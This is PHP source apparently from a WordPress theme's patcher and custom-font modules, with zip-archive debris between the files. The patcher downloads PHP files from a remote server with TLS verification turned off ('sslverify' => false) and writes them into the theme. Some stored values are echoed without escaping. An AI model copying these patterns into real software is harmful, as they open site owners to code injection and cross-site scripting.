				wp_send_json(
					array(
						'message' => esc_html__( 'Empty path ID, please, try again.', 'soledad' ),
						'status'  => 'error',
					)
				);
			}

			$patch_id          = sanitize_text_field( $_GET['id'] ); //phpcs:ignore
			$patches_installed = get_option( 'penci_successfully_installed_patches' );

			if ( isset( $patches_installed[ PENCI_SOLEDAD_VERSION ][ $patch_id ] ) ) {
				wp_send_json(
					array(
						'message' => esc_html__( 'The patch is already applied.', 'soledad' ),
						'status'  => 'success',
					)
				);
			}

			$this->patch_init( $patch_id );
		}

		/**
		 * Get count patches map.
		 *
		 * @return string
		 */
		public function get_count_patches_map() {
			global $pagenow;

			$patches_maps = get_transient( $this->transient_name );

			if ( 'admin.php' === $pagenow && isset( $_GET['page'] ) ) { //phpcs:ignore.
				if ( in_array( $_GET['page'], array(
					'penci_dashboard',
					'penci_theme_settings'
				), true ) ) { //phpcs:ignore.
					$patches_maps = $this->get_patches_maps();
				} else if ( 'penci_patcher' === $_GET['page'] ) { //phpcs:ignore.
					$patches_maps = $this->get_patches_maps_from_server();
				}
			}

			if ( ! $patches_maps || ! is_array( $patches_maps ) ) {
				return '';
			}

			$patches_installed = get_option( 'penci_successfully_installed_patches', array() );

			if ( isset( $patches_installed[ $this->theme_version ] ) ) {
				$patches_maps = array_diff_key( $patches_maps, $patches_installed[ $this->theme_version ] );
			}

			$count = count( $patches_maps );

			if ( 0 === $count ) {
				return '';
			}

			ob_start();
			?>
            <span class="penci-patcher-counter update-plugins count-<?php echo esc_attr( $count ); ?>">
				<span class="patcher-count">
					<?php echo esc_html( $count ); ?>
				</span>
			</span>
			<?php

			return ob_get_clean();
		}

		/**
		 * Interface in admin panel.
		 */
		public function render() {

			if ( isset( $_GET['pcpatchcheck'] ) && $_GET['pcpatchcheck'] == 'now' ) {
				delete_transient( $this->transient_name );
			}

			wp_enqueue_script( 'penci-patcher-scripts', PENCI_SOLEDAD_URL . '/inc/dashboard/js/patcher.js', array(), PENCI_SOLEDAD_VERSION, true );
			wp_localize_script( 'penci-patcher-scripts', 'penci_patch_notice', $this->add_localized_settings() );

			$patches               = $this->get_patches_maps();
			$patch_installed       = get_option( 'penci_successfully_installed_patches' );
			$all_patches_installed = empty( array_diff( array_keys( $patches ), isset( $patch_installed[ $this->theme_version ] ) ? array_keys( $patch_installed[ $this->theme_version ] ) : array() ) );
			$classes               = $patches ? 'has-patches' : 'no-patches';
			?>
            <div class="wrap">
                <h1><?php esc_html_e( 'Patcher', 'soledad' ); ?></h1>
                <div class="penci-box">
                    <div class="penci-box-content <?php echo $classes; ?>">
						<?php if ( $patches ) : ?>
                            <div class="penci-notices-wrapper penci-patches-notice"><?php $this->print_notices(); // Must be in one line. ?></div>

                            <div class="penci-table penci-even penci-patches-wrapper">

                                <div class="penci-table-row-heading penci-patch-item penci-patch-title-wrapper">
                                    <div class="penci-patch-id">
										<?php esc_html_e( 'Patch ID', 'soledad' ); ?>
                                    </div>
                                    <div class="penci-patch-description">
										<?php esc_html_e( 'Description', 'soledad' ); ?>
                                    </div>
                                    <div class="penci-patch-date">
										<?php esc_html_e( 'Date', 'soledad' ); ?>
                                    </div>
                                    <div class="penci-patch-button-wrapper"></div>
                                </div>

								<?php foreach ( $patches as $patch => $patcher ) :
									$patch_id = $patcher['version'];
									?>
									<?php $classes = isset( $patch_installed[ $this->theme_version ][ $patch_id ] ) ? ' penci-applied' : ''; ?>
                                    <div class="penci-table-row penci-patch-item<?php echo esc_attr( $classes ); ?>">
                                        <div class="penci-patch-id">
                                            <span><?php echo esc_html( $patch_id ); ?></span>
                                        </div>
                                        <div class="penci-patch-description">
											<?php echo $patcher['description']; ?>
                                        </div>
                                        <div class="penci-patch-date">
											<?php echo esc_html( $patcher['releaseDate'] ); ?>
                                        </div>
                                        <div class="penci-patch-button-wrapper">
											<?php if ( ! $this->check_filesystem_api() ) : ?>
                                                <a href="<?php echo esc_url( $patcher['patch_link'] ); ?>"
                                                   class="penci-btn penci-color-primary">
													<?php esc_html_e( 'Download', 'soledad' ); ?>
                                                </a>
											<?php else : ?>
                                                <a href="#"
                                                   class="penci-btn penci-color-primary penci-patch-apply penci-i-check"
                                                   data-patches-map='<?php echo wp_json_encode( $patcher['files'] ); ?>'
                                                   data-id="<?php echo esc_html( $patch_id ); ?>">
													<?php esc_html_e( 'Apply', 'soledad' ); ?>
                                                </a>
                                                <span class="penci-patch-label-applied penci-i-check">
											<?php esc_html_e( 'Applied', 'soledad' ); ?>
										</span>
											<?php endif; ?>
                                        </div>
                                    </div>
								<?php endforeach; ?>
                            </div>
						<?php else :
							$url_check = esc_url( 'admin.php?page=penci_patcher&pcpatchcheck=now' );
							?>
                            <div class="penci-empty-patches">
                                <div class="pencti-notice-icon">
                                    <svg fill="#000000" width="800px" height="800px" viewBox="0 0 24 24"
                                         xmlns="http://www.w3.org/2000/svg">
                                        <path fill-rule="evenodd"
                                              d="M12,2 C17.5228475,2 22,6.4771525 22,12 C22,17.5228475 17.5228475,22 12,22 C6.4771525,22 2,17.5228475 2,12 C2,6.4771525 6.4771525,2 12,2 Z M12,4 C7.581722,4 4,7.581722 4,12 C4,16.418278 7.581722,20 12,20 C16.418278,20 20,16.418278 20,12 C20,7.581722 16.418278,4 12,4 Z M15.2928932,8.29289322 L10,13.5857864 L8.70710678,12.2928932 C8.31658249,11.9023689 7.68341751,11.9023689 7.29289322,12.2928932 C6.90236893,12.6834175 6.90236893,13.3165825 7.29289322,13.7071068 L9.29289322,15.7071068 C9.68341751,16.0976311 10.3165825,16.0976311 10.7071068,15.7071068 L16.7071068,9.70710678 C17.0976311,9.31658249 17.0976311,8.68341751 16.7071068,8.29289322 C16.3165825,7.90236893 15.6834175,7.90236893 15.2928932,8.29289322 Z"/>
                                    </svg>
                                </div>
                                <p>
									<?php esc_html_e( 'There are no patches found for your theme version.', 'soledad' ); ?>
                                </p>
                                <div class="penci-check-patch">
                                    <a href="<?php echo $url_check; ?>"><?php _e( 'Check now', 'soledad' ); ?></a>
                                </div>
                            </div>
						<?php endif; ?>
                    </div>
					<?php if ( $patches && $this->check_filesystem_api() ) : ?>
                        <div class="penci-box-footer">
                            <div class="penci-box-helper">
								<?php _e( 'We added patcher functionality instead of frequent updates to address bugs more efficiently. Minor bugs affecting only a few sites can be patched without requiring all customers to update. Significant bugs impacting many sites will still prompt an update, with patches disappearing in the next release.', 'soledad' ); ?>
                            </div>
                            <div class="penci-patch-button-wrapper <?php echo $all_patches_installed ? 'penci-applied' : ''; ?>">
                                <a href="#" class="penci-btn penci-color-primary penci-patch-apply-all penci-i-check">
									<?php esc_html_e( 'Apply all', 'soledad' ); ?>
                                </a>
                                <span class="penci-patch-label-applied penci-i-check">
								<?php esc_html_e( 'All applied', 'soledad' ); ?>
							</span>
                            </div>
                        </div>
					<?php endif; ?>
                </div>
            </div>
			<?php
		}

		/**
		 * Print notices.
		 */
		public function print_notices() {
			if ( ! $this->check_filesystem_api() ) {
				$this->notices['warning'] = esc_html__( 'Direct access to theme file is not allowed on your server. You need to download and replace the files manually.', 'soledad' );
			}

			if ( ! $this->notices ) {
				return;
			}

			foreach ( $this->notices as $type => $notice ) {
				$this->print_notice( $notice, $type );
			}
		}

		/**
		 * Print notice.
		 *
		 * @param string $message Message.
		 * @param string $type Type.
		 */
		private function print_notice( $message, $type = 'warning' ) {
			?>
            <div class="penci-notice penci-<?php echo esc_attr( $type ); ?>">
				<?php echo wp_kses( $message, array(
					'h1'     => array(),
					'h2'     => array(),
					'h3'     => array(),
					'h4'     => array(),
					'h5'     => array(),
					'h6'     => array(),
					'pre'    => array(),
					'p'      => array(),
					'br'     => array(),
					'i'      => array(),
					'b'      => array(),
					'u'      => array(),
					'em'     => array(),
					'del'    => array(),
					'a'      => array(
						'href'   => true,
						'class'  => true,
						'target' => true,
						'title'  => true,
						'rel'    => true,
					),
					'strong' => array(),
					'span'   => array(
						'style' => true,
						'class' => true,
					),
					'ol'     => array(),
					'ul'     => array(),
					'li'     => array(),
				) ); ?>
            </div>
			<?php
		}

		/**
		 * Get patches maps.
		 *
		 * @return array
		 */
		public function get_patches_maps() {

			$patches_maps = get_transient( $this->transient_name );

			if ( ! $patches_maps ) {
				$patches_maps = $this->get_patches_maps_from_server();
			}

			if ( ! is_array( $patches_maps ) ) {
				return array();
			}

			return $patches_maps;
		}

		/**
		 * Queries the patches server for a list of patches.
		 *
		 * @return array
		 */
		public function get_patches_maps_from_server() {

			$version    = $this->theme_version;
			$url        = $this->remote_server;
			$subversion = 1;

			$updates = [];
			while ( true ) {
				$update_url = $url . $version . '.' . $subversion . '/update.json';

				$response = wp_remote_get( $update_url, [ 'sslverify' => false ] );

				if ( is_wp_error( $response ) || ! isset( $response['body'] ) ) {
					$this->notices['error'] = $response->get_error_message();
					$this->update_set_transient( 'error' );
					break;
				}
				$update_content = json_decode( $response['body'], true );

				if ( isset( $update_content['changes'] ) && is_array( $update_content['changes'] ) ) {
					$update_content['files'] = array_column( $update_content['changes'], 'file' );
					$update_content['path']  = array_column( $update_content['changes'], 'path' );
				}

				$update_content['patch_link'] = $url . $version . '.' . $subversion . '/ ' . $version . '.' . $subversion . '.zip';

				if ( json_last_error() !== JSON_ERROR_NONE ) {
					break;
				}

				$updates[ $version . '.' . $subversion ] = $update_content;
				$subversion                              += 1;
			}

			$updates = array_reverse( $updates );

			$this->update_set_transient( $updates );

			return $updates;
		}

		/**
		 * Sets/updates the value of a transient.
		 *
		 * @param string|array $data Value.
		 *
		 * @return void
		 */
		public function update_set_transient( $data ) {
			set_transient( $this->transient_name, $data, DAY_IN_SECONDS );
		}


		/**
		 * Check filesystem API.
		 *
		 * @return bool
		 */
		public function check_filesystem_api() {
			global $wp_filesystem;

			if ( function_exists( 'WP_Filesystem' ) ) {
				WP_Filesystem();
			}

			return 'direct' === $wp_filesystem->method;
		}

		/**
		 * Add localized settings.
		 *
		 * @return array
		 */
		public function add_localized_settings() {
			return array(
				'single_patch_confirm' => esc_html__( 'These files will be updated:', 'soledad' ),
				'all_patches_confirm'  => esc_html__( 'Are you sure you want to download all patches?', 'soledad' ),
				'all_patches_applied'  => esc_html__( 'All patches are applied.', 'soledad' ),
				'ajax_error'           => esc_html__( 'Something wrong with removing data. Please, try to remove data manually or contact our support center for further assistance.', 'soledad' ),
			);
		}

		/**
		 * Apply patch.
		 */
		public function apply() {
			$patches_map = $this->get_patches_maps();

			if ( ! isset( $patches_map[ $this->patch_id ] ) ) {
				wp_send_json(
					array(
						'message' => esc_html__( 'Patch with this ID does\'t exist.', 'soledad' ),
						'status'  => 'error',
					)
				);
			}

			$patch = $patches_map[ $this->patch_id ];

			$patch_server_file = $patch['path'];

			foreach ( $patch['files'] as $key => $file_dir ) {
				$content = $this->get_patch_file_from_server( $patch_server_file[ $key ] );

				if ( ! $content ) {
					$this->successful_write_files = false;
					continue;
				}

				$this->write_file( $file_dir, $content );
			}

			if ( $this->successful_write_files ) {
				$patch_success = get_option( 'penci_successfully_installed_patches' );

				$patch_success[ PENCI_SOLEDAD_VERSION ][ $this->patch_id ] = true;

				update_option( 'penci_successfully_installed_patches', $patch_success, false );

				wp_send_json(
					array(
						'message' => esc_html__( 'Patch has been successfully applied.', 'soledad' ),
						'status'  => 'success',
					)
				);
			}

			wp_send_json(
				array(
					'message' => esc_html__( 'Something went wrong during patch installation. Patch can\'t be applied. Please, try again later.', 'soledad' ),
					'status'  => 'error',
				)
			);
		}

		/**
		 * Write file.
		 *
		 * @param string $file_dir File directory.
		 * @param string $content File content.
		 */
		public function write_file( $file_dir, $content ) {
			global $wp_filesystem;

			if ( function_exists( 'WP_Filesystem' ) ) {
				WP_Filesystem();
			}

			$target = get_template_directory() . wp_normalize_path( '/' . $file_dir );

			$status_write_file = $wp_filesystem->put_contents( $target, $content );

			if ( ! $status_write_file ) {
				$this->successful_write_files = false;
			}
		}

		/**
		 * Queries the patches server for a list of patches.
		 *
		 * @param int $key Key file.
		 *
		 * @return string
		 */
		private function get_patch_file_from_server( $key ) {

			$url     = $this->remote_server;
			$path_id = $this->patch_id;

			$file_query_url = $url . $path_id . '/' . $key;

			$response = wp_remote_get( $file_query_url, [ 'sslverify' => false ] );

			if ( is_wp_error( $response ) ) {
				wp_send_json(
					array(
						'message' => $response->get_error_message(),
						'status'  => 'error',
					)
				);
			}

			if ( ! isset( $response['body'] ) ) {
				wp_send_json(
					array(
						'message' => $response['response']['code'] . ': ' . $response['response']['message'],
						'status'  => 'error',
					)
				);
			}

			$response = wp_remote_retrieve_body( $response );

			if ( isset( $response_body['code'] ) && isset( $response_body['message'] ) ) {
				wp_send_json(
					array(
						'message' => $response_body['message'],
						'status'  => 'error',
					)
				);
			}

			if ( isset( $response_body['type'] ) && isset( $response_body['message'] ) ) {
				wp_send_json(
					array(
						'message' => $response_body['message'],
						'status'  => $response_body['type'],
					)
				);
			}

			return $response;
		}
	}

	Penci_Patcher::get_instance();
}PK     0w\g$9  9    dashboard/inc/custom_fonts.phpnu [        <?php
if ( ! function_exists( 'penci_soledad_add_custom_fonts' ) ) {
	function penci_soledad_add_custom_fonts() {

		echo get_option( 'penci_cfonts_rules' );
	}
}

if ( ! function_exists( 'penci_soledad_list_self_fonts' ) ) {
	function penci_soledad_list_self_fonts() {
		if ( ! get_theme_mod( 'penci_disable_default_fonts' ) || get_theme_mod( 'penci_disable_all_fonts' ) ) {
			return;
		}

		$array_fonts = [];

		if ( ! get_theme_mod( 'penci_font_for_title' ) ) {
			$array_fonts[] = array_merge( $array_fonts, array( '"Raleway", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif' ) );
		} else {
			$array_fonts[] = get_theme_mod( 'penci_font_for_title' );
		}
		if ( get_theme_mod( 'penci_font_for_body' ) ) {
			$array_fonts[] = get_theme_mod( 'penci_font_for_body' );
		} else {
			$array_fonts[] = array_merge( $array_fonts, array( '"PT Serif", "regular:italic:700:700italic", serif' ) );
		}
		if ( get_theme_mod( 'penci_font_for_slogan' ) ) {
			$array_fonts[] = get_theme_mod( 'penci_font_for_slogan' );
		}
		if ( get_theme_mod( 'penci_font_for_menu' ) ) {
			$array_fonts[] = get_theme_mod( 'penci_font_for_menu' );
		}

		$font_url = PENCI_SOLEDAD_URL . '/fonts';
		ob_start();
		?>
		<?php if ( !empty($array_fonts) && in_array( '"Raleway", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif', $array_fonts ) ): ?>
            @font-face {font-display: swap;font-family: 'Raleway';font-style: italic;font-weight: 300;src: local('Raleway Light Italic'), local(Raleway-LightItalic), url(<?php echo $font_url; ?>/raleway/1Ptpg8zYS_SKggPNyCgw5qN_DNCb_Vo.woff2) format("woff2");unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF }@font-face {font-display: swap;font-family: 'Raleway';font-style: italic;font-weight: 300;src: local('Raleway Light Italic'), local(Raleway-LightItalic), url(<?php echo $font_url; ?>/raleway/1Ptpg8zYS_SKggPNyCgw5qN_AtCb.woff2) format("woff2");unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD }@font-face {font-display: swap;font-family: 'Raleway';font-style: italic;font-weight: 400;src: local('Raleway Italic'), local(Raleway-Italic), url(<?php echo $font_url; ?>/raleway/1Ptsg8zYS_SKggPNyCg4Q4FqPfE.woff2) format("woff2");unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF }@font-face {font-display: swap;font-family: 'Raleway';font-style: italic;font-weight: 400;src: local('Raleway Italic'), local(Raleway-Italic), url(<?php echo $font_url; ?>/raleway/1Ptsg8zYS_SKggPNyCg4TYFq.woff2) format("woff2");unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD }@font-face {font-display: swap;font-family: 'Raleway';font-style: italic;font-weight: 500;src: local('Raleway Medium Italic'), local(Raleway-MediumItalic), url(<?php echo $font_url; ?>/raleway/1Ptpg8zYS_SKggPNyCgwvqJ_DNCb_Vo.woff2) format("woff2");unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF }@font-face {font-display: swap;font-family: 'Raleway';font-style: italic;font-weight: 500;src: local('Raleway Medium Italic'), local(Raleway-MediumItalic), url(<?php echo $font_url; ?>/raleway/1Ptpg8zYS_SKggPNyCgwvqJ_AtCb.woff2) format("woff2");unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD }@font-face {font-display: swap;font-family: 'Raleway';font-style: italic;font-weight: 700;src: local('Raleway Bold Italic'), local(Raleway-BoldItalic), url(<?php echo $font_url; ?>/raleway/1Ptpg8zYS_SKggPNyCgw9qR_DNCb_Vo.woff2) format("woff2");unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF }@font-face {font-display: swap;font-family: 'Raleway';font-style: italic;font-weight: 700;src: local('Raleway Bold Italic'), local(Raleway-BoldItalic), url(<?php echo $font_url; ?>/raleway/1Ptpg8zYS_SKggPNyCgw9qR_AtCb.woff2) format("woff2");unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD }@font-face {font-display: swap;font-family: 'Raleway';font-style: italic;font-weight: 800;src: local('Raleway ExtraBold Italic'), local(Raleway-ExtraBoldItalic), url(<?php echo $font_url; ?>/raleway/1Ptpg8zYS_SKggPNyCgw6qd_DNCb_Vo.woff2) format("woff2");unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF }@font-face {font-display: swap;font-family: 'Raleway';font-style: italic;font-weight: 800;src: local('Raleway ExtraBold Italic'), local(Raleway-ExtraBoldItalic), url(<?php echo $font_url; ?>/raleway/1Ptpg8zYS_SKggPNyCgw6qd_AtCb.woff2) format("woff2");unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD }@font-face {font-display: swap;font-family: 'Raleway';font-style: normal;font-weight: 300;src: local('Raleway Light'), local(Raleway-Light), url(<?php echo $font_url; ?>/raleway/1Ptrg8zYS_SKggPNwIYqWqhPAMif.woff2) format("woff2");unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF }@font-face {font-display: swap;font-family: 'Raleway';font-style: normal;font-weight: 300;src: local('Raleway Light'), local(Raleway-Light), url(<?php echo $font_url; ?>/raleway/1Ptrg8zYS_SKggPNwIYqWqZPAA.woff2) format("woff2");unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD }@font-face {font-display: swap;font-family: 'Raleway';font-style: normal;font-weight: 400;src: local(Raleway), local(Raleway-Regular), url(<?php echo $font_url; ?>/raleway/1Ptug8zYS_SKggPNyCMIT5lu.woff2) format("woff2");unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF }@font-face {font-display: swap;font-family: 'Raleway';font-style: normal;font-weight: 400;src: local(Raleway), local(Raleway-Regular), url(<?php echo $font_url; ?>/raleway/1Ptug8zYS_SKggPNyC0ITw.woff2) format("woff2");unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD }@font-face {font-display: swap;font-family: 'Raleway';font-style: normal;font-weight: 500;src: local('Raleway Medium'), local(Raleway-Medium), url(<?php echo $font_url; ?>/raleway/1Ptrg8zYS_SKggPNwN4rWqhPAMif.woff2) format("woff2");unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF }@font-face {font-display: swap;font-family: 'Raleway';font-style: normal;font-weight: 500;src: local('Raleway Medium'), local(Raleway-Medium), url(<?php echo $font_url; ?>/raleway/1Ptrg8zYS_SKggPNwN4rWqZPAA.woff2) format("woff2");unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD }@font-face {font-display: swap;font-family: 'Raleway';font-style: normal;font-weight: 700;src: local('Raleway Bold'), local(Raleway-Bold), url(<?php echo $font_url; ?>/raleway/1Ptrg8zYS_SKggPNwJYtWqhPAMif.woff2) format("woff2");unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF }@font-face {font-display: swap;font-family: 'Raleway';font-style: normal;font-weight: 700;src: local('Raleway Bold'), local(Raleway-Bold), url(<?php echo $font_url; ?>/raleway/1Ptrg8zYS_SKggPNwJYtWqZPAA.woff2) format("woff2");unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD }@font-face {font-display: swap;font-family: 'Raleway';font-style: normal;font-weight: 800;src: local('Raleway ExtraBold'), local(Raleway-ExtraBold), url(<?php echo $font_url; ?>/raleway/1Ptrg8zYS_SKggPNwIouWqhPAMif.woff2) format("woff2");unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF }@font-face {font-display: swap;font-family: 'Raleway';font-style: normal;font-weight: 800;src: local('Raleway ExtraBold'), local(Raleway-ExtraBold), url(<?php echo $font_url; ?>/raleway/1Ptrg8zYS_SKggPNwIouWqZPAA.woff2) format("woff2");unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD }
		<?php endif; ?>
		<?php if ( !empty($array_fonts) && in_array( '"PT Serif", "regular:italic:700:700italic", serif', $array_fonts ) ): ?>
            @font-face {font-display: swap;font-family: 'PT Serif';font-style: italic;font-weight: 400;src: local('PT Serif Italic'), local(PTSerif-Italic), url(<?php echo $font_url; ?>/ptserif/EJRTQgYoZZY2vCFuvAFT_rC1chb-.woff2) format("woff2");unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F }@font-face {font-display: swap;font-family: 'PT Serif';font-style: italic;font-weight: 400;src: local('PT Serif Italic'), local(PTSerif-Italic), url(<?php echo $font_url; ?>/ptserif/EJRTQgYoZZY2vCFuvAFT_rm1chb-.woff2) format("woff2");unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116 }@font-face {font-display: swap;font-family: 'PT Serif';font-style: italic;font-weight: 400;src: local('PT Serif Italic'), local(PTSerif-Italic), url(<?php echo $font_url; ?>/ptserif/EJRTQgYoZZY2vCFuvAFT_rO1chb-.woff2) format("woff2");unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF }@font-face {font-display: swap;font-family: 'PT Serif';font-style: italic;font-weight: 400;src: local('PT Serif Italic'), local(PTSerif-Italic), url(<?php echo $font_url; ?>/ptserif/EJRTQgYoZZY2vCFuvAFT_r21cg.woff2) format("woff2");unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD }@font-face {font-display: swap;font-family: 'PT Serif';font-style: italic;font-weight: 700;src: local('PT Serif Bold Italic'), local(PTSerif-BoldItalic), url(<?php echo $font_url; ?>/ptserif/EJRQQgYoZZY2vCFuvAFT9gaQZyTfoPNB.woff2) format("woff2");unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F }@font-face {font-display: swap;font-family: 'PT Serif';font-style: italic;font-weight: 700;src: local('PT Serif Bold Italic'), local(PTSerif-BoldItalic), url(<?php echo $font_url; ?>/ptserif/EJRQQgYoZZY2vCFuvAFT9gaQZy3foPNB.woff2) format("woff2");unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116 }@font-face {font-display: swap;font-family: 'PT Serif';font-style: italic;font-weight: 700;src: local('PT Serif Bold Italic'), local(PTSerif-BoldItalic), url(<?php echo $font_url; ?>/ptserif/EJRQQgYoZZY2vCFuvAFT9gaQZyffoPNB.woff2) format("woff2");unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF }@font-face {font-display: swap;font-family: 'PT Serif';font-style: italic;font-weight: 700;src: local('PT Serif Bold Italic'), local(PTSerif-BoldItalic), url(<?php echo $font_url; ?>/ptserif/EJRQQgYoZZY2vCFuvAFT9gaQZynfoA.woff2) format("woff2");unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD }@font-face {font-display: swap;font-family: 'PT Serif';font-style: normal;font-weight: 400;src: local('PT Serif'), local(PTSerif-Regular), url(<?php echo $font_url; ?>/ptserif/EJRVQgYoZZY2vCFuvAFbzr-tdg.woff2) format("woff2");unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F }@font-face {font-display: swap;font-family: 'PT Serif';font-style: normal;font-weight: 400;src: local('PT Serif'), local(PTSerif-Regular), url(<?php echo $font_url; ?>/ptserif/EJRVQgYoZZY2vCFuvAFSzr-tdg.woff2) format("woff2");unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116 }@font-face {font-display: swap;font-family: 'PT Serif';font-style: normal;font-weight: 400;src: local('PT Serif'), local(PTSerif-Regular), url(<?php echo $font_url; ?>/ptserif/EJRVQgYoZZY2vCFuvAFYzr-tdg.woff2) format("woff2");unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF }@font-face {font-display: swap;font-family: 'PT Serif';font-style: normal;font-weight: 400;src: local('PT Serif'), local(PTSerif-Regular), url(<?php echo $font_url; ?>/ptserif/EJRVQgYoZZY2vCFuvAFWzr8.woff2) format("woff2");unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD }@font-face {font-display: swap;font-family: 'PT Serif';font-style: normal;font-weight: 700;src: local('PT Serif Bold'), local(PTSerif-Bold), url(<?php echo $font_url; ?>/ptserif/EJRSQgYoZZY2vCFuvAnt66qfVyvHpA.woff2) format("woff2");unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F }@font-face {font-display: swap;font-family: 'PT Serif';font-style: normal;font-weight: 700;src: local('PT Serif Bold'), local(PTSerif-Bold), url(<?php echo $font_url; ?>/ptserif/EJRSQgYoZZY2vCFuvAnt66qWVyvHpA.woff2) format("woff2");unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116 }@font-face {font-display: swap;font-family: 'PT Serif';font-style: normal;font-weight: 700;src: local('PT Serif Bold'), local(PTSerif-Bold), url(<?php echo $font_url; ?>/ptserif/EJRSQgYoZZY2vCFuvAnt66qcVyvHpA.woff2) format("woff2");unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF }@font-face {font-display: swap;font-family: 'PT Serif';font-style: normal;font-weight: 700;src: local('PT Serif Bold'), local(PTSerif-Bold), url(<?php echo $font_url; ?>/ptserif/EJRSQgYoZZY2vCFuvAnt66qSVys.woff2) format("woff2");unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD }
		<?php endif; ?>
